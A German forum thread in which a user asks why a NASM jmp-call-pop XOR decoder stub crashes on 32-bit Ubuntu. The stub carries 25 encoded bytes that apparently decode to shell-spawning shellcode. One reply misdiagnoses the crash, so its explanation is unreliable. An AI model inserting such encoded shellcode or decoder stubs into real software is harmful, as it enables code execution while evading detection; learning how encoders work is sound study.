Segmentation Fault (x86 Assembler(nasm), Ubuntu, 32-Bit)



  • Hallo,
    ich habe leider ein Problem beim Ausführen des u.g. Code. Ich habe es unter Ubuntu LTS 14.04 und 12.04 (beide LTS, beide 32-Bit) ausprobiert. Quittiert wird es mit einem Speicherabzugsfehler.
    Es soll jedes Byte eines Shellcodes mit 0xAA per XOR verknüpft werden. Es wird die sog. jmp-call-pop Technik angewendet. Verantwortlich für den Absturz ist

    xor byte [esi], 0xAA
    

    Der Zugriff auf den linken Operand ist nicht möglich. Irgendjemand eine Idee?

    Kompiliert habe ich mit:

    #!/bin/bash
    nasm -f elf32 -o $1.o $1.nasm
    ld -z execstack -o $1 $1.o
    echo '[+] Done!'
    
    global _start			
    
    section .text
    _start:
    
    	jmp short call_decoder
    
    decoder:
    	pop esi
    	xor ecx, ecx
    	mov cl, 25
    
    decode:
    	xor byte [esi], 0xAA
    	inc esi
    	loop decode
    
    	jmp short Shellcode
    
    call_decoder:
    
    	call decoder
    	Shellcode: db 0x9b,0x6a,0xfa,0xc2,0x85,0x85,0xd9,0xc2,0xc2,0x85,0xc8,0xc3,0xc4,0x23,0x49,0xfa,0x23,0x48,0xf9,0x23,0x4b,0x1a,0xa1,0x67,0x2a
    


  • Verwende doch einfach die jmp-call pop-Technik, um in willigere Datenbereiche zu kommen.



  • deine Zeile 9 macht mit

    mov esi, Shellcode
    

    mehr Sinn.
    Du weisst doch so garnicht welchen Wert esi mit pop in Zeile 9 bekommt. 😕 Das wird dann die nicht vorhandene Page sein.

    Nicky